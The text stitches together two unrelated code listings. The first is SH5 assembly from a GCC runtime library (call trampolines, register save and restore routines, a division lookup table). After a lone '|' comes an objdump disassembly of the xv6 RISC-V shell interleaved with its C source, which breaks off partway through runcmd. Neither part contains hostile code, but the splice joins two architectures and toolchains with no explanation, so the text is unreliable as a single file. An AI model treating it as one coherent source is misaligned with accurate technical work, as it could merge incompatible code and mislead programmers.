blink tr1, r63
LOCAL(ct_r4_load):
ldx.q r4, r63, r4
blink tr1, r63
LOCAL(ct_r5_load):
ldx.q r5, r63, r5
blink tr1, r63
LOCAL(ct_r6_load):
ldx.q r6, r63, r6
blink tr1, r63
LOCAL(ct_r7_load):
ldx.q r7, r63, r7
blink tr1, r63
LOCAL(ct_r8_load):
ldx.q r8, r63, r8
blink tr1, r63
LOCAL(ct_r2_pop): /* Pop r2 from the stack. */
movi 1, r30
ldx.q r15, r63, r2
shlli r30, 29, r31
addi.l r15, 8, r15
andc r1, r31, r1
blink tr1, r63
LOCAL(ct_r3_pop): /* Pop r3 from the stack. */
movi 1, r30
ldx.q r15, r63, r3
shlli r30, 26, r31
addi.l r15, 8, r15
andc r1, r31, r1
blink tr1, r63
LOCAL(ct_r4_pop): /* Pop r4 from the stack. */
movi 1, r30
ldx.q r15, r63, r4
shlli r30, 23, r31
addi.l r15, 8, r15
andc r1, r31, r1
blink tr1, r63
LOCAL(ct_r5_pop): /* Pop r5 from the stack. */
movi 1, r30
ldx.q r15, r63, r5
shlli r30, 20, r31
addi.l r15, 8, r15
andc r1, r31, r1
blink tr1, r63
LOCAL(ct_r6_pop): /* Pop r6 from the stack. */
movi 1, r30
ldx.q r15, r63, r6
shlli r30, 16, r31
addi.l r15, 8, r15
andc r1, r31, r1
blink tr1, r63
LOCAL(ct_r7_pop): /* Pop r7 from the stack. */
ldx.q r15, r63, r7
movi 1 << 12, r31
addi.l r15, 8, r15
andc r1, r31, r1
blink tr1, r63
LOCAL(ct_r8_pop): /* Pop r8 from the stack. */
ldx.q r15, r63, r8
movi 1 << 8, r31
addi.l r15, 8, r15
andc r1, r31, r1
blink tr1, r63
LOCAL(ct_pop_seq): /* Pop a sequence of registers off the stack. */
andi r1, 7 << 1, r30
movi (LOCAL(ct_end_of_pop_seq) >> 16) & 65535, r32
shlli r30, 2, r31
shori LOCAL(ct_end_of_pop_seq) & 65535, r32
sub.l r32, r31, r33
ptabs/l r33, tr2
blink tr2, r63
LOCAL(ct_start_of_pop_seq): /* Beginning of pop sequence. */
ldx.q r15, r63, r3
addi.l r15, 8, r15
ldx.q r15, r63, r4
addi.l r15, 8, r15
ldx.q r15, r63, r5
addi.l r15, 8, r15
ldx.q r15, r63, r6
addi.l r15, 8, r15
ldx.q r15, r63, r7
addi.l r15, 8, r15
ldx.q r15, r63, r8
addi.l r15, 8, r15
LOCAL(ct_r9_pop): /* Pop r9 from the stack. */
ldx.q r15, r63, r9
addi.l r15, 8, r15
LOCAL(ct_end_of_pop_seq): /* Label used to compute first pop instruction. */
LOCAL(ct_check_tramp): /* Check whether we need a trampoline. */
pt/u LOCAL(ct_ret_wide), tr2
andi r1, 1, r1
bne/u r1, r63, tr2
LOCAL(ct_call_func): /* Just branch to the function. */
blink tr0, r63
LOCAL(ct_ret_wide): /* Call the function, so that we can unpack its
64-bit return value. */
add.l r18, r63, r10
blink tr0, r18
ptabs r10, tr0
#if __LITTLE_ENDIAN__
shari r2, 32, r3
add.l r2, r63, r2
#else
add.l r2, r63, r3
shari r2, 32, r2
#endif
blink tr0, r63
ENDFUNC(GLOBAL(GCC_shcompact_call_trampoline))
#endif /* L_shcompact_call_trampoline */
#ifdef L_shcompact_return_trampoline
/* This function does the converse of the code in `ret_wide'
above. It is tail-called by SHcompact functions returning
64-bit non-floating-point values, to pack the 32-bit values in
r2 and r3 into r2. */
.mode SHmedia
.section .text..SHmedia32, "ax"
.align 2
.global GLOBAL(GCC_shcompact_return_trampoline)
HIDDEN_FUNC(GLOBAL(GCC_shcompact_return_trampoline))
GLOBAL(GCC_shcompact_return_trampoline):
ptabs/l r18, tr0
#if __LITTLE_ENDIAN__
addz.l r2, r63, r2
shlli r3, 32, r3
#else
addz.l r3, r63, r3
shlli r2, 32, r2
#endif
or r3, r2, r2
blink tr0, r63
ENDFUNC(GLOBAL(GCC_shcompact_return_trampoline))
#endif /* L_shcompact_return_trampoline */
#ifdef L_shcompact_incoming_args
.section .rodata
.align 1
LOCAL(ia_main_table):
.word 1 /* Invalid, just loop */
.word LOCAL(ia_r2_ld) - datalabel LOCAL(ia_main_label)
.word LOCAL(ia_r2_push) - datalabel LOCAL(ia_main_label)
.word 1 /* Invalid, just loop */
.word LOCAL(ia_r3_ld) - datalabel LOCAL(ia_main_label)
.word LOCAL(ia_r3_push) - datalabel LOCAL(ia_main_label)
.word 1 /* Invalid, just loop */
.word LOCAL(ia_r4_ld) - datalabel LOCAL(ia_main_label)
.word LOCAL(ia_r4_push) - datalabel LOCAL(ia_main_label)
.word 1 /* Invalid, just loop */
.word LOCAL(ia_r5_ld) - datalabel LOCAL(ia_main_label)
.word LOCAL(ia_r5_push) - datalabel LOCAL(ia_main_label)
.word 1 /* Invalid, just loop */
.word 1 /* Invalid, just loop */
.word LOCAL(ia_r6_ld) - datalabel LOCAL(ia_main_label)
.word LOCAL(ia_r6_push) - datalabel LOCAL(ia_main_label)
.word 1 /* Invalid, just loop */
.word 1 /* Invalid, just loop */
.word LOCAL(ia_r7_ld) - datalabel LOCAL(ia_main_label)
.word LOCAL(ia_r7_push) - datalabel LOCAL(ia_main_label)
.word 1 /* Invalid, just loop */
.word 1 /* Invalid, just loop */
.word LOCAL(ia_r8_ld) - datalabel LOCAL(ia_main_label)
.word LOCAL(ia_r8_push) - datalabel LOCAL(ia_main_label)
.word 1 /* Invalid, just loop */
.word 1 /* Invalid, just loop */
.word LOCAL(ia_r9_ld) - datalabel LOCAL(ia_main_label)
.word LOCAL(ia_r9_push) - datalabel LOCAL(ia_main_label)
.word LOCAL(ia_push_seq) - datalabel LOCAL(ia_main_label)
.word LOCAL(ia_push_seq) - datalabel LOCAL(ia_main_label)
.word LOCAL(ia_r9_push) - datalabel LOCAL(ia_main_label)
.word LOCAL(ia_return) - datalabel LOCAL(ia_main_label)
.word LOCAL(ia_return) - datalabel LOCAL(ia_main_label)
.mode SHmedia
.section .text..SHmedia32, "ax"
.align 2
/* This function stores 64-bit general-purpose registers back in
the stack, and loads the address in which each register
was stored into itself. The lower 32 bits of r17 hold the address
to begin storing, and the upper 32 bits of r17 hold the cookie.
Its execution time is linear on the
number of registers that actually have to be copied, and it is
optimized for structures larger than 64 bits, as opposed to
individual `long long' arguments. See sh.h for details on the
actual bit pattern. */
.global GLOBAL(GCC_shcompact_incoming_args)
FUNC(GLOBAL(GCC_shcompact_incoming_args))
GLOBAL(GCC_shcompact_incoming_args):
ptabs/l r18, tr0 /* Prepare to return. */
shlri r17, 32, r0 /* Load the cookie. */
movi ((datalabel LOCAL(ia_main_table) - 31 * 2) >> 16) & 65535, r43
pt/l LOCAL(ia_loop), tr1
add.l r17, r63, r17
shori ((datalabel LOCAL(ia_main_table) - 31 * 2)) & 65535, r43
LOCAL(ia_loop):
nsb r0, r36
shlli r36, 1, r37
ldx.w r43, r37, r38
LOCAL(ia_main_label):
ptrel/l r38, tr2
blink tr2, r63
LOCAL(ia_r2_ld): /* Store r2 and load its address. */
movi 3, r38
shlli r38, 29, r39
and r0, r39, r40
andc r0, r39, r0
stx.q r17, r63, r2
add.l r17, r63, r2
addi.l r17, 8, r17
beq/u r39, r40, tr1
LOCAL(ia_r3_ld): /* Store r3 and load its address. */
movi 3, r38
shlli r38, 26, r39
and r0, r39, r40
andc r0, r39, r0
stx.q r17, r63, r3
add.l r17, r63, r3
addi.l r17, 8, r17
beq/u r39, r40, tr1
LOCAL(ia_r4_ld): /* Store r4 and load its address. */
movi 3, r38
shlli r38, 23, r39
and r0, r39, r40
andc r0, r39, r0
stx.q r17, r63, r4
add.l r17, r63, r4
addi.l r17, 8, r17
beq/u r39, r40, tr1
LOCAL(ia_r5_ld): /* Store r5 and load its address. */
movi 3, r38
shlli r38, 20, r39
and r0, r39, r40
andc r0, r39, r0
stx.q r17, r63, r5
add.l r17, r63, r5
addi.l r17, 8, r17
beq/u r39, r40, tr1
LOCAL(ia_r6_ld): /* Store r6 and load its address. */
movi 3, r38
shlli r38, 16, r39
and r0, r39, r40
andc r0, r39, r0
stx.q r17, r63, r6
add.l r17, r63, r6
addi.l r17, 8, r17
beq/u r39, r40, tr1
LOCAL(ia_r7_ld): /* Store r7 and load its address. */
movi 3 << 12, r39
and r0, r39, r40
andc r0, r39, r0
stx.q r17, r63, r7
add.l r17, r63, r7
addi.l r17, 8, r17
beq/u r39, r40, tr1
LOCAL(ia_r8_ld): /* Store r8 and load its address. */
movi 3 << 8, r39
and r0, r39, r40
andc r0, r39, r0
stx.q r17, r63, r8
add.l r17, r63, r8
addi.l r17, 8, r17
beq/u r39, r40, tr1
LOCAL(ia_r9_ld): /* Store r9 and load its address. */
stx.q r17, r63, r9
add.l r17, r63, r9
blink tr0, r63
LOCAL(ia_r2_push): /* Push r2 onto the stack. */
movi 1, r38
shlli r38, 29, r39
andc r0, r39, r0
stx.q r17, r63, r2
addi.l r17, 8, r17
blink tr1, r63
LOCAL(ia_r3_push): /* Push r3 onto the stack. */
movi 1, r38
shlli r38, 26, r39
andc r0, r39, r0
stx.q r17, r63, r3
addi.l r17, 8, r17
blink tr1, r63
LOCAL(ia_r4_push): /* Push r4 onto the stack. */
movi 1, r38
shlli r38, 23, r39
andc r0, r39, r0
stx.q r17, r63, r4
addi.l r17, 8, r17
blink tr1, r63
LOCAL(ia_r5_push): /* Push r5 onto the stack. */
movi 1, r38
shlli r38, 20, r39
andc r0, r39, r0
stx.q r17, r63, r5
addi.l r17, 8, r17
blink tr1, r63
LOCAL(ia_r6_push): /* Push r6 onto the stack. */
movi 1, r38
shlli r38, 16, r39
andc r0, r39, r0
stx.q r17, r63, r6
addi.l r17, 8, r17
blink tr1, r63
LOCAL(ia_r7_push): /* Push r7 onto the stack. */
movi 1 << 12, r39
andc r0, r39, r0
stx.q r17, r63, r7
addi.l r17, 8, r17
blink tr1, r63
LOCAL(ia_r8_push): /* Push r8 onto the stack. */
movi 1 << 8, r39
andc r0, r39, r0
stx.q r17, r63, r8
addi.l r17, 8, r17
blink tr1, r63
LOCAL(ia_push_seq): /* Push a sequence of registers onto the stack. */
andi r0, 7 << 1, r38
movi (LOCAL(ia_end_of_push_seq) >> 16) & 65535, r40
shlli r38, 2, r39
shori LOCAL(ia_end_of_push_seq) & 65535, r40
sub.l r40, r39, r41
ptabs/l r41, tr2
blink tr2, r63
LOCAL(ia_stack_of_push_seq): /* Beginning of push sequence. */
stx.q r17, r63, r3
addi.l r17, 8, r17
stx.q r17, r63, r4
addi.l r17, 8, r17
stx.q r17, r63, r5
addi.l r17, 8, r17
stx.q r17, r63, r6
addi.l r17, 8, r17
stx.q r17, r63, r7
addi.l r17, 8, r17
stx.q r17, r63, r8
addi.l r17, 8, r17
LOCAL(ia_r9_push): /* Push r9 onto the stack. */
stx.q r17, r63, r9
LOCAL(ia_return): /* Return. */
blink tr0, r63
LOCAL(ia_end_of_push_seq): /* Label used to compute the first push instruction. */
ENDFUNC(GLOBAL(GCC_shcompact_incoming_args))
#endif /* L_shcompact_incoming_args */
#endif
#if __SH5__
#ifdef L_nested_trampoline
#if __SH5__ == 32
.section .text..SHmedia32,"ax"
#else
.text
#endif
.align 3 /* It is copied in units of 8 bytes in SHmedia mode. */
.global GLOBAL(GCC_nested_trampoline)
HIDDEN_FUNC(GLOBAL(GCC_nested_trampoline))
GLOBAL(GCC_nested_trampoline):
.mode SHmedia
ptrel/u r63, tr0
gettr tr0, r0
#if __SH5__ == 64
ld.q r0, 24, r1
#else
ld.l r0, 24, r1
#endif
ptabs/l r1, tr1
#if __SH5__ == 64
ld.q r0, 32, r1
#else
ld.l r0, 28, r1
#endif
blink tr1, r63
ENDFUNC(GLOBAL(GCC_nested_trampoline))
#endif /* L_nested_trampoline */
#endif /* __SH5__ */
#if __SH5__ == 32
#ifdef L_push_pop_shmedia_regs
.section .text..SHmedia32,"ax"
.mode SHmedia
.align 2
#ifndef __SH4_NOFPU__
.global GLOBAL(GCC_push_shmedia_regs)
FUNC(GLOBAL(GCC_push_shmedia_regs))
GLOBAL(GCC_push_shmedia_regs):
addi.l r15, -14*8, r15
fst.d r15, 13*8, dr62
fst.d r15, 12*8, dr60
fst.d r15, 11*8, dr58
fst.d r15, 10*8, dr56
fst.d r15, 9*8, dr54
fst.d r15, 8*8, dr52
fst.d r15, 7*8, dr50
fst.d r15, 6*8, dr48
fst.d r15, 5*8, dr46
fst.d r15, 4*8, dr44
fst.d r15, 3*8, dr42
fst.d r15, 2*8, dr40
fst.d r15, 1*8, dr38
fst.d r15, 0*8, dr36
#else /* ! __SH4_NOFPU__ */
.global GLOBAL(GCC_push_shmedia_regs_nofpu)
FUNC(GLOBAL(GCC_push_shmedia_regs_nofpu))
GLOBAL(GCC_push_shmedia_regs_nofpu):
#endif /* ! __SH4_NOFPU__ */
ptabs/l r18, tr0
addi.l r15, -27*8, r15
gettr tr7, r62
gettr tr6, r61
gettr tr5, r60
st.q r15, 26*8, r62
st.q r15, 25*8, r61
st.q r15, 24*8, r60
st.q r15, 23*8, r59
st.q r15, 22*8, r58
st.q r15, 21*8, r57
st.q r15, 20*8, r56
st.q r15, 19*8, r55
st.q r15, 18*8, r54
st.q r15, 17*8, r53
st.q r15, 16*8, r52
st.q r15, 15*8, r51
st.q r15, 14*8, r50
st.q r15, 13*8, r49
st.q r15, 12*8, r48
st.q r15, 11*8, r47
st.q r15, 10*8, r46
st.q r15, 9*8, r45
st.q r15, 8*8, r44
st.q r15, 7*8, r35
st.q r15, 6*8, r34
st.q r15, 5*8, r33
st.q r15, 4*8, r32
st.q r15, 3*8, r31
st.q r15, 2*8, r30
st.q r15, 1*8, r29
st.q r15, 0*8, r28
blink tr0, r63
#ifndef __SH4_NOFPU__
ENDFUNC(GLOBAL(GCC_push_shmedia_regs))
#else
ENDFUNC(GLOBAL(GCC_push_shmedia_regs_nofpu))
#endif
#ifndef __SH4_NOFPU__
.global GLOBAL(GCC_pop_shmedia_regs)
FUNC(GLOBAL(GCC_pop_shmedia_regs))
GLOBAL(GCC_pop_shmedia_regs):
pt .L0, tr1
movi 41*8, r0
fld.d r15, 40*8, dr62
fld.d r15, 39*8, dr60
fld.d r15, 38*8, dr58
fld.d r15, 37*8, dr56
fld.d r15, 36*8, dr54
fld.d r15, 35*8, dr52
fld.d r15, 34*8, dr50
fld.d r15, 33*8, dr48
fld.d r15, 32*8, dr46
fld.d r15, 31*8, dr44
fld.d r15, 30*8, dr42
fld.d r15, 29*8, dr40
fld.d r15, 28*8, dr38
fld.d r15, 27*8, dr36
blink tr1, r63
#else /* ! __SH4_NOFPU__ */
.global GLOBAL(GCC_pop_shmedia_regs_nofpu)
FUNC(GLOBAL(GCC_pop_shmedia_regs_nofpu))
GLOBAL(GCC_pop_shmedia_regs_nofpu):
#endif /* ! __SH4_NOFPU__ */
movi 27*8, r0
.L0:
ptabs r18, tr0
ld.q r15, 26*8, r62
ld.q r15, 25*8, r61
ld.q r15, 24*8, r60
ptabs r62, tr7
ptabs r61, tr6
ptabs r60, tr5
ld.q r15, 23*8, r59
ld.q r15, 22*8, r58
ld.q r15, 21*8, r57
ld.q r15, 20*8, r56
ld.q r15, 19*8, r55
ld.q r15, 18*8, r54
ld.q r15, 17*8, r53
ld.q r15, 16*8, r52
ld.q r15, 15*8, r51
ld.q r15, 14*8, r50
ld.q r15, 13*8, r49
ld.q r15, 12*8, r48
ld.q r15, 11*8, r47
ld.q r15, 10*8, r46
ld.q r15, 9*8, r45
ld.q r15, 8*8, r44
ld.q r15, 7*8, r35
ld.q r15, 6*8, r34
ld.q r15, 5*8, r33
ld.q r15, 4*8, r32
ld.q r15, 3*8, r31
ld.q r15, 2*8, r30
ld.q r15, 1*8, r29
ld.q r15, 0*8, r28
add.l r15, r0, r15
blink tr0, r63
#ifndef __SH4_NOFPU__
ENDFUNC(GLOBAL(GCC_pop_shmedia_regs))
#else
ENDFUNC(GLOBAL(GCC_pop_shmedia_regs_nofpu))
#endif
#endif /* __SH5__ == 32 */
#endif /* L_push_pop_shmedia_regs */
#if __SH5__
#ifdef L_div_table
#if defined(__pic__) && defined(__SHMEDIA__)
.global GLOBAL(sdivsi3)
FUNC(GLOBAL(sdivsi3))
#if __SH5__ == 32
.section .text..SHmedia32,"ax"
#else
.text
#endif
#if 0
/* ??? FIXME: Presumably due to a linker bug, exporting data symbols
in a text section does not work (at least for shared libraries):
the linker sets the LSB of the address as if this was SHmedia code. */
#define TEXT_DATA_BUG
#endif
.align 2
// inputs: r4,r5
// clobbered: r1,r18,r19,r20,r21,r25,tr0
// result in r0
.global GLOBAL(sdivsi3)
GLOBAL(sdivsi3):
#ifdef TEXT_DATA_BUG
ptb datalabel Local_div_table,tr0
#else
ptb GLOBAL(div_table_internal),tr0
#endif
nsb r5, r1
shlld r5, r1, r25 // normalize; [-2 ..1, 1..2) in s2.62
shari r25, 58, r21 // extract 5(6) bit index (s2.4 with hole -1..1)
/* bubble */
gettr tr0,r20
ldx.ub r20, r21, r19 // u0.8
shari r25, 32, r25 // normalize to s2.30
shlli r21, 1, r21
muls.l r25, r19, r19 // s2.38
ldx.w r20, r21, r21 // s2.14
ptabs r18, tr0
shari r19, 24, r19 // truncate to s2.14
sub r21, r19, r19 // some 11 bit inverse in s1.14
muls.l r19, r19, r21 // u0.28
sub r63, r1, r1
addi r1, 92, r1
muls.l r25, r21, r18 // s2.58
shlli r19, 45, r19 // multiply by two and convert to s2.58
/* bubble */
sub r19, r18, r18
shari r18, 28, r18 // some 22 bit inverse in s1.30
muls.l r18, r25, r0 // s2.60
muls.l r18, r4, r25 // s32.30
/* bubble */
shari r0, 16, r19 // s-16.44
muls.l r19, r18, r19 // s-16.74
shari r25, 63, r0
shari r4, 14, r18 // s19.-14
shari r19, 30, r19 // s-16.44
muls.l r19, r18, r19 // s15.30
xor r21, r0, r21 // You could also use the constant 1 << 27.
add r21, r25, r21
sub r21, r19, r21
shard r21, r1, r21
sub r21, r0, r0
blink tr0, r63
ENDFUNC(GLOBAL(sdivsi3))
/* This table has been generated by divtab.c .
Defects for bias -330:
Max defect: 6.081536e-07 at -1.000000e+00
Min defect: 2.849516e-08 at 1.030651e+00
Max 2nd step defect: 9.606539e-12 at -1.000000e+00
Min 2nd step defect: 0.000000e+00 at 0.000000e+00
Defect at 1: 1.238659e-07
Defect at -2: 1.061708e-07 */
#else /* ! __pic__ || ! __SHMEDIA__ */
.section .rodata
#endif /* __pic__ */
#if defined(TEXT_DATA_BUG) && defined(__pic__) && defined(__SHMEDIA__)
.balign 2
.type Local_div_table,@object
.size Local_div_table,128
/* negative division constants */
.word -16638
.word -17135
.word -17737
.word -18433
.word -19103
.word -19751
.word -20583
.word -21383
.word -22343
.word -23353
.word -24407
.word -25582
.word -26863
.word -28382
.word -29965
.word -31800
/* negative division factors */
.byte 66
.byte 70
.byte 75
.byte 81
.byte 87
.byte 93
.byte 101
.byte 109
.byte 119
.byte 130
.byte 142
.byte 156
.byte 172
.byte 192
.byte 214
.byte 241
.skip 16
Local_div_table:
.skip 16
/* positive division factors */
.byte 241
.byte 214
.byte 192
.byte 172
.byte 156
.byte 142
.byte 130
.byte 119
.byte 109
.byte 101
.byte 93
.byte 87
.byte 81
.byte 75
.byte 70
.byte 66
/* positive division constants */
.word 31801
.word 29966
.word 28383
.word 26864
.word 25583
.word 24408
.word 23354
.word 22344
.word 21384
.word 20584
.word 19752
.word 19104
.word 18434
.word 17738
.word 17136
.word 16639
.section .rodata
#endif /* TEXT_DATA_BUG */
.balign 2
.type GLOBAL(div_table),@object
.size GLOBAL(div_table),128
/* negative division constants */
.word -16638
.word -17135
.word -17737
.word -18433
.word -19103
.word -19751
.word -20583
.word -21383
.word -22343
.word -23353
.word -24407
.word -25582
.word -26863
.word -28382
.word -29965
.word -31800
/* negative division factors */
.byte 66
.byte 70
.byte 75
.byte 81
.byte 87
.byte 93
.byte 101
.byte 109
.byte 119
.byte 130
.byte 142
.byte 156
.byte 172
.byte 192
.byte 214
.byte 241
.skip 16
.global GLOBAL(div_table)
GLOBAL(div_table):
HIDDEN_ALIAS(div_table_internal,div_table)
.skip 16
/* positive division factors */
.byte 241
.byte 214
.byte 192
.byte 172
.byte 156
.byte 142
.byte 130
.byte 119
.byte 109
.byte 101
.byte 93
.byte 87
.byte 81
.byte 75
.byte 70
.byte 66
/* positive division constants */
.word 31801
.word 29966
.word 28383
.word 26864
.word 25583
.word 24408
.word 23354
.word 22344
.word 21384
.word 20584
.word 19752
.word 19104
.word 18434
.word 17738
.word 17136
.word 16639
#endif /* L_div_table */
#endif /* __SH5__ */
#ifdef L_udiv_qrnnd_16
#if !__SHMEDIA__
HIDDEN_FUNC(GLOBAL(udiv_qrnnd_16))
/* r0: rn r1: qn */ /* r0: n1 r4: n0 r5: d r6: d1 */ /* r2: __m */
/* n1 < d, but n1 might be larger than d1. */
.global GLOBAL(udiv_qrnnd_16)
.balign 8
GLOBAL(udiv_qrnnd_16):
div0u
cmp/hi r6,r0
bt .Lots
.rept 16
div1 r6,r0
.endr
extu.w r0,r1
bt 0f
add r6,r0
0: rotcl r1
mulu.w r1,r5
xtrct r4,r0
swap.w r0,r0
sts macl,r2
cmp/hs r2,r0
sub r2,r0
bt 0f
addc r5,r0
add #-1,r1
bt 0f
1: add #-1,r1
rts
add r5,r0
.balign 8
.Lots:
sub r5,r0
swap.w r4,r1
xtrct r0,r1
clrt
mov r1,r0
addc r5,r0
mov #-1,r1
SL1(bf, 1b,
shlr16 r1)
0: rts
nop
ENDFUNC(GLOBAL(udiv_qrnnd_16))
#endif /* !__SHMEDIA__ */
#endif /* L_udiv_qrnnd_16 */
|
user/_sh: file format elf64-littleriscv
Disassembly of section .text:
0000000000000000 <getcmd>:
exit(0);
}
int
getcmd(char *buf, int nbuf)
{
0: 1101 addi sp,sp,-32
2: ec06 sd ra,24(sp)
4: e822 sd s0,16(sp)
6: e426 sd s1,8(sp)
8: e04a sd s2,0(sp)
a: 1000 addi s0,sp,32
c: 84aa mv s1,a0
e: 892e mv s2,a1
fprintf(2, "$ ");
10: 00001597 auipc a1,0x1
14: 2f858593 addi a1,a1,760 # 1308 <malloc+0xe6>
18: 4509 li a0,2
1a: 00001097 auipc ra,0x1
1e: 122080e7 jalr 290(ra) # 113c <fprintf>
memset(buf, 0, nbuf);
22: 864a mv a2,s2
24: 4581 li a1,0
26: 8526 mv a0,s1
28: 00001097 auipc ra,0x1
2c: ba6080e7 jalr -1114(ra) # bce <memset>
gets(buf, nbuf);
30: 85ca mv a1,s2
32: 8526 mv a0,s1
34: 00001097 auipc ra,0x1
38: be0080e7 jalr -1056(ra) # c14 <gets>
if(buf[0] == 0) // EOF
3c: 0004c503 lbu a0,0(s1)
40: 00153513 seqz a0,a0
return -1;
return 0;
}
44: 40a00533 neg a0,a0
48: 60e2 ld ra,24(sp)
4a: 6442 ld s0,16(sp)
4c: 64a2 ld s1,8(sp)
4e: 6902 ld s2,0(sp)
50: 6105 addi sp,sp,32
52: 8082 ret
0000000000000054 <panic>:
exit(0);
}
void
panic(char *s)
{
54: 1141 addi sp,sp,-16
56: e406 sd ra,8(sp)
58: e022 sd s0,0(sp)
5a: 0800 addi s0,sp,16
5c: 862a mv a2,a0
fprintf(2, "%s\n", s);
5e: 00001597 auipc a1,0x1
62: 2b258593 addi a1,a1,690 # 1310 <malloc+0xee>
66: 4509 li a0,2
68: 00001097 auipc ra,0x1
6c: 0d4080e7 jalr 212(ra) # 113c <fprintf>
exit(1);
70: 4505 li a0,1
72: 00001097 auipc ra,0x1
76: d56080e7 jalr -682(ra) # dc8 <exit>
000000000000007a <fork1>:
}
int
fork1(void)
{
7a: 1141 addi sp,sp,-16
7c: e406 sd ra,8(sp)
7e: e022 sd s0,0(sp)
80: 0800 addi s0,sp,16
int pid;
pid = fork();
82: 00001097 auipc ra,0x1
86: d3e080e7 jalr -706(ra) # dc0 <fork>
if(pid == -1)
8a: 57fd li a5,-1
8c: 00f50663 beq a0,a5,98 <fork1+0x1e>
panic("fork");
return pid;
}
90: 60a2 ld ra,8(sp)
92: 6402 ld s0,0(sp)
94: 0141 addi sp,sp,16
96: 8082 ret
panic("fork");
98: 00001517 auipc a0,0x1
9c: 28050513 addi a0,a0,640 # 1318 <malloc+0xf6>
a0: 00000097 auipc ra,0x0
a4: fb4080e7 jalr -76(ra) # 54 <panic>
00000000000000a8 <runcmd>:
{
a8: 7179 addi sp,sp,-48
aa: f406 sd ra,40(sp)
ac: f022 sd s0,32(sp)
ae: ec26 sd s1,24(sp)
b0: 1800 addi s0,sp,48
if(cmd == 0)
b2: c10d beqz a0,d4 <runcmd+0x2c>
b4: 84aa mv s1,a0
switch(cmd->type){
b6: 4118 lw a4,0(a0)
b8: 4795 li a5,5
ba: 02e7e263 bltu a5,a4,de <runcmd+0x36>
be: 00056783 lwu a5,0(a0)
c2: 078a slli a5,a5,0x2
c4: 00001717 auipc a4,0x1
c8: 35470713 addi a4,a4,852 # 1418 <malloc+0x1f6>
cc: 97ba add a5,a5,a4
ce: 439c lw a5,0(a5)
d0: 97ba add a5,a5,a4
d2: 8782 jr a5
exit(1);
d4: 4505 li a0,1
d6: 00001097 auipc ra,0x1
da: cf2080e7 jalr -782(ra) # dc8 <exit>
panic("runcmd");
de: 00001517 auipc a0,0x1
e2: 24250513 addi a0,a0,578 # 1320 <malloc+0xfe>
e6: 00000097 auipc ra,0x0
ea: f6e080e7 jalr -146(ra) # 54 <panic>
if(ecmd->argv[0] == 0)
ee: 6508 ld a0,8(a0)
f0: c515 beqz a0,11c <runcmd+0x74>
exec(ecmd->argv[0], ecmd->argv);
f2: 00848593 addi a1,s1,8
f6: 00001097 auipc ra,0x1
fa: d0a080e7 jalr -758(ra) # e00 <exec>
fprintf(2, "exec %s failed\n", ecmd->argv[0]);
fe: 6490 ld a2,8(s1)
100: 00001597 auipc a1,0x1
104: 22858593 addi a1,a1,552 # 1328 <malloc+0x106>
108: 4509 li a0,2
10a: 00001097 auipc ra,0x1
10e: 032080e7 jalr 50(ra) # 113c <fprintf>
exit(0);
112: 4501 li a0,0
114: 00001097 auipc ra,0x1
118: cb4080e7 jalr -844(ra) # dc8 <exit>
exit(1);
11c: 4505 li a0,1
11e: 00001097 auipc ra,0x1
122: caa080e7 jalr -854(ra) # dc8 <exit>
close(rcmd->fd);
126: 5148 lw a0,36(a0)
128: 00001097 auipc ra,0x1
12c: cc8080e7 jalr -824(ra) # df0 <close>
if(open(rcmd->file, rcmd->mode) < 0){
130: 508c lw a1,32(s1)
132: 6888 ld a0,16(s1)
134: 00001097 auipc ra,0x1
138: cd4080e7 jalr -812(ra) # e08 <open>
13c: 00054763 bltz a0,14a <runcmd+0xa2>
runcmd(rcmd->cmd);
140: 6488 ld a0,8(s1)
142: 00000097 auipc ra,0x0
146: f66080e7 jalr -154(ra) # a8 <runcmd>
fprintf(2, "open %s failed\n", rcmd->file);
14a: 6890 ld a2,16(s1)
14c: 00001597 auipc a1,0x1
150: 1ec58593 addi a1,a1,492 # 1338 <malloc+0x116>
154: 4509 li a0,2
156: 00001097 auipc ra,0x1
15a: fe6080e7 jalr -26(ra) # 113c <fprintf>
exit(1);
15e: 4505 li a0,1
160: 00001097 auipc ra,0x1
164: c68080e7 jalr -920(ra) # dc8 <exit>
if(fork1() == 0)
168: 00000097 auipc ra,0x0
16c: f12080e7 jalr -238(ra) # 7a <fork1>
170: c919 beqz a0,186 <runcmd+0xde>
wait(0);
172: 4501 li a0,0
174: 00001097 auipc ra,0x1
178: c5c080e7 jalr -932(ra) # dd0 <wait>
runcmd(lcmd->right);
17c: 6888 ld a0,16(s1)
17e: 00000097 auipc ra,0x0
182: f2a080e7 jalr -214(ra) # a8 <runcmd>
runcmd(lcmd->left);
186: 6488 ld a0,8(s1)
188: 00000097 auipc ra,0x0
18c: f20080e7 jalr -224(ra) # a8 <runcmd>
if(pipe(p) < 0)
190: fd840513 addi a0,s0,-40
194: 00001097 auipc ra,0x1
198: c44080e7 jalr -956(ra) # dd8 <pipe>
19c: 04054363 bltz a0,1e2 <runcmd+0x13a>
if(fork1() == 0){
1a0: 00000097 auipc ra,0x0
1a4: eda080e7 jalr -294(ra) # 7a <fork1>
1a8: c529 beqz a0,1f2 <runcmd+0x14a>
if(fork1() == 0){
1aa: 00000097 auipc ra,0x0
1ae: ed0080e7 jalr -304(ra) # 7a <fork1>
1b2: cd25 beqz a0,22a <runcmd+0x182>
close(p[0]);
1b4: fd842503 lw a0,-40(s0)
1b8: 00001097 auipc ra,0x1
1bc: c38080e7 jalr -968(ra) # df0 <close>
close(p[1]);
1c0: fdc42503 lw a0,-36(s0)
1c4: 00001097 auipc ra,0x1
1c8: c2c080e7 jalr -980(ra) # df0 <close>
wait(0);
1cc: 4501 li a0,0
1ce: 00001097 auipc ra,0x1
1d2: c02080e7 jalr -1022(ra) # dd0 <wait>
wait(0);
1d6: 4501 li a0,0
1d8: 00001097 auipc ra,0x1
1dc: bf8080e7 jalr -1032(ra) # dd0 <wait>
break;
1e0: bf0d j 112 <runcmd+0x6a>
panic("pipe");
1e2: 00001517 auipc a0,0x1
1e6: 16650513 addi a0,a0,358 # 1348 <malloc+0x126>
1ea: 00000097 auipc ra,0x0
1ee: e6a080e7 jalr -406(ra) # 54 <panic>
close(1);
1f2: 4505 li a0,1
1f4: 00001097 auipc ra,0x1
1f8: bfc080e7 jalr -1028(ra) # df0 <close>
dup(p[1]);
1fc: fdc42503 lw a0,-36(s0)
200: 00001097 auipc ra,0x1
204: c40080e7 jalr -960(ra) # e40 <dup>
close(p[0]);
208: fd842503 lw a0,-40(s0)
20c: 00001097 auipc ra,0x1
210: be4080e7 jalr -1052(ra) # df0 <close>
close(p[1]);
214: fdc42503 lw a0,-36(s0)
218: 00001097 auipc ra,0x1
